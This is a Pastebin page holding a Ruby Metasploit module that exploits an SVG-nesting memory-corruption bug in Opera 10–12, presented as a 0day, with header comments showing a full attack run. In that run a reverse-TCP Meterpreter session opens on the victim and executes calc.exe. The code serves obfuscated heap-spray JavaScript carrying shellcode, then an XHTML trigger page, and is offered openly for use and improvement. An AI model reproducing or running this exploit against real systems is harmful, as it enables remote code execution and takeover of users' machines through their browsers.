Advertisement
0xde1

Exploit for Opera 10/11/12 Memory Corruption (0day)

Oct 10th, 2011
4,022
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 10.52 KB | None | 0 0
  1. ###############################################################################################################
  2. # Exploit for Opera Browser 10/11/12 (SVG layout) Memory Corruption (0day)
  3. #
  4. # Vulnerability:
  5. #
  6. # Discovered: 2010-10-13
  7. # Patched: 0day
  8. # Tested on: v10.xx (v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
  9. #                           v11.xx (v11.00, v11.01, v11.10, v11.11, v11.50 and v11.51)
  10. #
  11. # Exploit:
  12. #
  13. # Coded: 2010-10-14
  14. # Last revision: 2011-10-08
  15. #
  16. # This exploit was modified with a new poc and triggering method, to hit Opera Next. The first copy was coded for v10.5x/v10.6x.
  17. #
  18. # RCE on: v11.00, v11.01, v11.10, v11.11, v11.50, v11.51 and v12.00 pre-alpha r1076 (Opera Next)
  19. #
  20. # Notes:
  21. #
  22. #   1) DEP bypass: possible but unreliable.
  23. #   2) Let me know if you improve this one ;)
  24. #   3) Two days ago, Opera Next was updated to 12.00 pre-alpha r1085
  25. #       and this exploit is less reliable, even sometimes never gets crashed.
  26. #       Anyway, I've also seen remote code execution.
  27. #
  28. #
  29. # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
  30. #
  31. # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, EnRed20.org, etc
  32. #
  33. #
  34. # Running against Opera v12.00 pre-alpha r1076...
  35. #
  36. #
  37. #
  38. #        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
  39. # + -- --=[ 742 exploits - 378 auxiliary - 83 post
  40. # + -- --=[ 228 payloads - 27 encoders - 8 nops
  41. #        =[ svn r13810 updated today (2011.10.06)
  42. #
  43. # msf > use windows/browser/opera_svg_0day
  44. # msf  exploit(opera_svg_0day) > set payload windows/meterpreter/reverse_tcp
  45. # payload => windows/meterpreter/reverse_tcp
  46. # msf  exploit(opera_svg_0day) > set LHOST 192.168.1.103
  47. # LHOST => 192.168.1.103
  48. # msf  exploit(opera_svg_0day) > exploit
  49. # [*] Exploit running as background job.
  50. # msf  exploit(opera_svg_0day) >
  51. # [*] Started reverse handler on 192.168.1.103:4444
  52. # [*] Using URL: http://0.0.0.0:8080/dpIDdyCpEoqCa5
  53. # [*]  Local IP: http://192.168.1.103:8080/dpIDdyCpEoqCa5
  54. # [*] Server started.
  55. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
  56. # [*] Sending stage 1 (Spraying the heap)
  57. # [*] Sending stage 2 (Triggering the vulnerability)
  58. # [*] Sending Opera Browser 10/11/12 (SVG layout) Memory Corruption to 192.168.1.104:1233 (Method: usual / Target: Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off))
  59. # [*] Sending stage (752128 bytes) to 192.168.1.104
  60. # [*] Sending stage 1 (Spraying the heap)
  61. # [*] Meterpreter session 2 opened (192.168.1.103:4444 -> 192.168.1.104:1234) at 2011-10-08 22:32:31 +0200
  62. # Interrupt: use the 'exit' command to quit
  63. # msf  exploit(opera_svg_0day) > sessions
  64. #
  65. # Active sessions
  66. # ===============
  67. #
  68. #   Id  Type                   Information                              Connection
  69. #   --  ----                   -----------                              ----------
  70. #   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1234
  71. #
  72. # msf  exploit(opera_svg_0day) > sessions -i 1
  73. # [*] Starting interaction with 1...
  74. #
  75. # meterpreter > execute -f calc.exe
  76. # Process 1752 created.
  77. # meterpreter > exit
  78. # [*] Shutting down Meterpreter...
  79. #
  80. # [*] Meterpreter session 1 closed.  Reason: User exit
  81. # msf  exploit(opera_svg_0day) >
  82. #
  83. ################################################################################################################
  84.  
  85. require 'msf/core'
  86.  
  87. class Metasploit3 < Msf::Exploit::Remote
  88.  
  89.     Rank = NormalRanking
  90.  
  91.     include Msf::Exploit::Remote::HttpServer::HTML
  92.    
  93.     def initialize(info = {})
  94.    
  95.         super(update_info(info,
  96.             'Name'           => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
  97.             'Description'    => %q{
  98.            
  99.                 This module exploits a vulnerability in the bad nesting with SVG tags. Successfully exploiting
  100.                 leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off).
  101.                 Best results of reliability using Opera v12.00 pre-alpha r1076 whereas that v11.xx will have less
  102.                 success (depending of opera.dll version). This module won't work against v10.xx because it was
  103.                 modified to exploit Opera upper to v11.
  104.                 Read the lastest references for further details.
  105.                
  106.             },
  107.             'License'        => MSF_LICENSE,
  108.             'Author'         =>
  109.                 [
  110.                     'Jose A. Vazquez'
  111.                 ],
  112.             'Version'        => '$Revision: 0011 $',
  113.             'References'     =>
  114.                 [
  115.                     ['URL', 'http://www.beyondsecurity.com/ssd.html'],
  116.                     ['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'],    # English
  117.                     ['URL', 'http://enred20.org/node/27']   # Spanish
  118.                 ],
  119.             'DefaultOptions' =>
  120.                 {
  121.                     'EXITFUNC'          => 'process',
  122.                     'HTTP::compression' => 'gzip',
  123.                     'HTTP::chunked'     => true
  124.                 },
  125.             'Payload'        =>
  126.                 {
  127.                     'Space'    => 1000,
  128.                     'BadChars' => "\x00",
  129.                     'Compat'   =>
  130.                         {
  131.                             'ConnectionType' => '-find',
  132.                         },
  133.                     'StackAdjustment' => -3500
  134.                 },
  135.             'Platform'       => 'win',
  136.             'Targets'        =>
  137.                 [  
  138.  
  139.                     # spray of ~ 450 MB.
  140.                    
  141.                     [ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',  
  142.                         {
  143.                             'Method' => 'usual',
  144.                             'MaxOffset' => nil,
  145.                             'MaxSize' => nil,
  146.                             'MaxBlocks' => 900,
  147.                             'Ret' => 0x0c0c0c0c
  148.                         }
  149.                     ],
  150.                    
  151.                     # Thanks to sinn3r of metasploit.com for this method.
  152.                    
  153.                     [ 'Opera Browser (v11.xx) / Windows XP SP3 (DEP-off)',  
  154.                         {
  155.                             'Method' => 'precise-allocation-size',
  156.                             'MaxOffset' => 0x800,
  157.                             'MaxSize' => 0x80000,
  158.                             'MaxBlocks' => 0x500,
  159.                             'Ret' => 0x0c0c0c0c
  160.                         }
  161.                     ]
  162.                 ],
  163.             'DisclosureDate' => '0day',
  164.             'DefaultTarget'  => 0))
  165.            
  166.             #Apply obfuscation by default
  167.            
  168.             register_options(
  169.             [
  170.                 OptBool.new('OBFUSCATE', [false, 'JavaScript obfuscation', true])
  171.             ], self.class)
  172.            
  173.     end
  174.    
  175.     def on_request_uri(cli, request)
  176.    
  177.         mytarget = target
  178.        
  179.         if(request.uri =~ /\.xhtml$/)
  180.        
  181.             #Send file for trigger the vulnerability
  182.        
  183.                
  184.             html = %Q|
  185.             <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
  186.                 <head>
  187.                     <meta http-equiv="refresh" content="0;url=" />
  188.                 </head>
  189.                 <select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
  190.                     <svt:svg>
  191.                         <svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
  192.                             <svt:svg>
  193.                                 <svt:font>
  194.                                     <svt:animateMotion>
  195.                                         feFuncR
  196.                                     </svt:animateMotion>
  197.                                 </svt:font>
  198.                             </svt:svg>
  199.                         </svt:title>
  200.                     </svt:svg>
  201.                 </select1>
  202.             </html>
  203.                 |
  204.        
  205.             #Send triggerer
  206.        
  207.             print_status("Sending stage 2 (Triggering the vulnerability)")
  208.             var_contentype = 'application/xhtml+xml'
  209.            
  210.         else
  211.            
  212.             #Sending init HTML
  213.             print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (Method: #{mytarget['Method']} / Target: #{mytarget.name})")
  214.            
  215.             return if ((p = regenerate_payload(cli)) == nil)
  216.            
  217.             shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
  218.            
  219.             addr_word  = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
  220.             var_timer_trigger   = (rand(3) + 2) * 1000
  221.             var_file_trigger    =   rand_text_alpha(rand(30)+2)
  222.            
  223.             #Build the exploit
  224.            
  225.             var_url =  ((datastore['SSL']) ? "https://" : "http://")
  226.             var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
  227.             var_url << ":" + datastore['SRVPORT']
  228.             var_url << get_resource
  229.            
  230.             #Choose the heap spray method
  231.            
  232.             if(mytarget['Method'] == 'usual')
  233.            
  234.                 spray_js = <<-JS
  235.                
  236.                 var shell = unescape("#{shellcode}");
  237.                 var size = shell.length * 2;
  238.                 var nopsize = 0x100000 - (size + 0x14);
  239.                 var nopsled = unescape("%u#{addr_word}");
  240.                
  241.                 while(nopsled.length * 2 < nopsize) {
  242.                     nopsled += nopsled;
  243.                 }
  244.                
  245.                 var blocks = new Array();
  246.                
  247.                 for (var x = 0; x < #{mytarget['MaxBlocks']}; x++) {
  248.                     blocks[x] = nopsled + shell;
  249.                 }
  250.                        
  251.                 function TriggerVuln(){
  252.                     document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
  253.                 }
  254.                
  255.                 JS
  256.                
  257.             else
  258.            
  259.                 #
  260.                 # Tested on Opera v11.5x but it's not working on Opera v12.00 pre-alpha
  261.                
  262.                 #
  263.                 #   /*
  264.                 #       *  Heap spray for Opera that uses VirtualAlloc
  265.                 #       *  Arguments:
  266.                 #       *  @blocks     - an emtpy array
  267.                 #       *  @code       - the payload
  268.                 #       *  @offset     - padding to align the code
  269.                 #       *  @chunk_max  - max size for each allocation
  270.                 #       *  @blocks_max - max blocks
  271.                 #   */
  272.                 #
  273.                 #
  274.            
  275.                 spray_js = <<-JS
  276.                
  277.                 function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
  278.                     if (chunk_max < 0x7F000) {
  279.                         throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
  280.                     }
  281.                    
  282.                     chunk_max /= 2;
  283.                
  284.                     var nops = unescape("%u0c0c%u0c0c");
  285.                     while (nops.length < chunk_max) nops += nops;
  286.                
  287.                     var offset_chunk = nops.substr(0, offset-code.length);
  288.                
  289.                     var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);
  290.                
  291.                     while (block.length % 8 != 0) block += unescape("%u0c");
  292.                
  293.                     var shellcode = block.substr(0, (chunk_max-0x1c)/2);
  294.                
  295.                     for (var i=0; i < blocks_max; i++) {
  296.                         blocks[i] = shellcode + unescape("%u0c0c");
  297.                     }
  298.                 }
  299.                
  300.                 var blocks = new Array();
  301.                 var code = unescape("#{shellcode}");
  302.                 heap_spray(blocks, code, #{mytarget['MaxOffset']}, #{mytarget['MaxSize']}, #{mytarget['MaxBlocks']});
  303.                
  304.                 function TriggerVuln(){
  305.                     document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
  306.                 }
  307.                
  308.                 JS
  309.            
  310.             end
  311.            
  312.             if datastore['OBFUSCATE'] == true
  313.                 spray_js = ::Rex::Exploitation::JSObfu.new(spray_js)
  314.                 spray_js.obfuscate
  315.                 trigger_sym = spray_js.sym('TriggerVuln')
  316.                 spray_js = spray_js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"
  317.             else
  318.                 spray_js = spray_js.to_s + "setTimeout('TriggerVuln()',#{var_timer_trigger});"
  319.             end
  320.            
  321.             html = %Q|
  322.                     <html>
  323.                         <head>
  324.                             <script type="text/javascript">
  325.                                 #{spray_js}    
  326.                             </script>
  327.                         </head>
  328.                     <html>
  329.                 |  
  330.            
  331.             print_status("Sending stage 1 (Spraying the heap)")
  332.             var_contentype = 'text/html'
  333.                
  334.         end
  335.    
  336.     #Response
  337.     send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
  338.     #Handle the payload        
  339.     handler(cli)
  340.        
  341.     end
  342.    
  343. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement